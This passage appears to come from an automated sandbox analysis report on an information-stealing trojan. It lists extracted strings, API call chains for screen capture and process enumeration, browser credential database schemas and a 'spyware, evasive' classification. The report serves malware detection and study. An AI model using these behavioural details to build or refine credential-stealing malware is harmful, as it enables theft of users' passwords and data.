Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: DBGHJEBKJEGHJKECAAKJKEGIIE.3.dr	String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: DBGHJEBKJEGHJKECAAKJKEGIIE.3.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: RegAsm.exe, 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: DBGHJEBKJEGHJKECAAKJKEGIIE.3.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: RegAsm.exe, 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: DBGHJEBKJEGHJKECAAKJKEGIIE.3.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: DBGHJEBKJEGHJKECAAKJKEGIIE.3.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: DBGHJEBKJEGHJKECAAKJKEGIIE.3.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: RegAsm.exe, 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00419010 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

3_2_00419010

System Summary

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs

Large array initialization: MoveAngles: array initializer size 314368

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C37ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	3_2_6C37ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C3BB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3BB8C0 rand_s,NtQueryVirtualMemory,	3_2_6C3BB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	3_2_6C3BB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C35F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C35F280

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3535A0	3_2_6C3535A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3C542B	3_2_6C3C542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C395C10	3_2_6C395C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3A2C10	3_2_6C3A2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3CAC00	3_2_6C3CAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3C545C	3_2_6C3C545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C365440	3_2_6C365440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3B34A0	3_2_6C3B34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3BC4A0	3_2_6C3BC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C366C80	3_2_6C366C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C396CF0	3_2_6C396CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C35D4E0	3_2_6C35D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C37D4D0	3_2_6C37D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3664C0	3_2_6C3664C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C37ED10	3_2_6C37ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C380512	3_2_6C380512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C36FD00	3_2_6C36FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3B85F0	3_2_6C3B85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C390DD0	3_2_6C390DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3B9E30	3_2_6C3B9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C397E10	3_2_6C397E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3A5600	3_2_6C3A5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C35C670	3_2_6C35C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3C6E63	3_2_6C3C6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C379E50	3_2_6C379E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C393E50	3_2_6C393E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3A2E4E	3_2_6C3A2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C374640	3_2_6C374640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3B4EA0	3_2_6C3B4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C375E90	3_2_6C375E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3BE680	3_2_6C3BE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C35BEF0	3_2_6C35BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C36FEF0	3_2_6C36FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3C76E3	3_2_6C3C76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C397710	3_2_6C397710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C369F00	3_2_6C369F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3A77A0	3_2_6C3A77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C386FF0	3_2_6C386FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C35DFE0	3_2_6C35DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C39B820	3_2_6C39B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3A4820	3_2_6C3A4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C367810	3_2_6C367810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C39F070	3_2_6C39F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C378850	3_2_6C378850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C37D850	3_2_6C37D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3860A0	3_2_6C3860A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C37C0E0	3_2_6C37C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3958E0	3_2_6C3958E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3C50C7	3_2_6C3C50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3AB970	3_2_6C3AB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3CB170	3_2_6C3CB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C36D960	3_2_6C36D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C37A940	3_2_6C37A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C38D9B0	3_2_6C38D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C35C9A0	3_2_6C35C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C395190	3_2_6C395190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3B2990	3_2_6C3B2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C399A60	3_2_6C399A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C36CAB0	3_2_6C36CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3C2AB0	3_2_6C3C2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3522A0	3_2_6C3522A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C384AA0	3_2_6C384AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3CBA90	3_2_6C3CBA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C371AF0	3_2_6C371AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C39E2F0	3_2_6C39E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C398AC0	3_2_6C398AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C39D320	3_2_6C39D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C36C370	3_2_6C36C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C355340	3_2_6C355340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C35F380	3_2_6C35F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3C53C8	3_2_6C3C53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C40AC60	3_2_6C40AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4C6C00	3_2_6C4C6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4DAC30	3_2_6C4DAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C45ECD0	3_2_6C45ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3FECC0	3_2_6C3FECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C52AD50	3_2_6C52AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4CED70	3_2_6C4CED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C588D20	3_2_6C588D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C58CDC0	3_2_6C58CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C496D90	3_2_6C496D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C404DB0	3_2_6C404DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C49EE70	3_2_6C49EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4E0E20	3_2_6C4E0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C40AEC0	3_2_6C40AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4A0EC0	3_2_6C4A0EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C486E90	3_2_6C486E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C46EF40	3_2_6C46EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4C2F70	3_2_6C4C2F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C406F10	3_2_6C406F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C540F20	3_2_6C540F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C400FE0	3_2_6C400FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4DEFF0	3_2_6C4DEFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C548FB0	3_2_6C548FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C40EFB0	3_2_6C40EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4D4840	3_2_6C4D4840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C450820	3_2_6C450820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C48A820	3_2_6C48A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5068E0	3_2_6C5068E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C438960	3_2_6C438960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C456900	3_2_6C456900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C51C9E0	3_2_6C51C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4349F0	3_2_6C4349F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4909A0	3_2_6C4909A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4BA9A0	3_2_6C4BA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4C09B0	3_2_6C4C09B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C47CA70	3_2_6C47CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4AEA00	3_2_6C4AEA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4B8A30	3_2_6C4B8A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C47EA80	3_2_6C47EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C506BE0	3_2_6C506BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4A0BA0	3_2_6C4A0BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C418460	3_2_6C418460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C464420	3_2_6C464420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C48A430	3_2_6C48A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4464D0	3_2_6C4464D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C49A4D0	3_2_6C49A4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C52A480	3_2_6C52A480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C548550	3_2_6C548550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C458540	3_2_6C458540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C504540	3_2_6C504540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C462560	3_2_6C462560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4A0570	3_2_6C4A0570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3F45B0	3_2_6C3F45B0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C5809D0 appears 140 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C423620 appears 32 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C3994D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C58DAE0 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C429B10 appears 31 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004045C0 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C38CBE8 appears 134 times

Source: file.exe, 00000000.00000002.1705954103.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000000.1677458358.0000000000632000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVQP.exe@ vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameVQP.exe@ vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/24@0/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_6C3B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

3_2_6C3B7030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

3_2_00419600

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

3_2_00413720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7312:120:WilError_03

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.1862393851.000000001B714000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1877263919.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.1862393851.000000001B714000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1877263919.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.1862393851.000000001B714000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1877263919.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.1862393851.000000001B714000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1877263919.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.1862393851.000000001B714000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1877263919.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.1862393851.000000001B714000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1877263919.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000003.00000002.1862393851.000000001B714000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1877263919.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: IEHDBGDHDAECBGDHJKFI.3.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000003.00000002.1862393851.000000001B714000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1877263919.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000003.00000002.1862393851.000000001B714000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1877263919.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
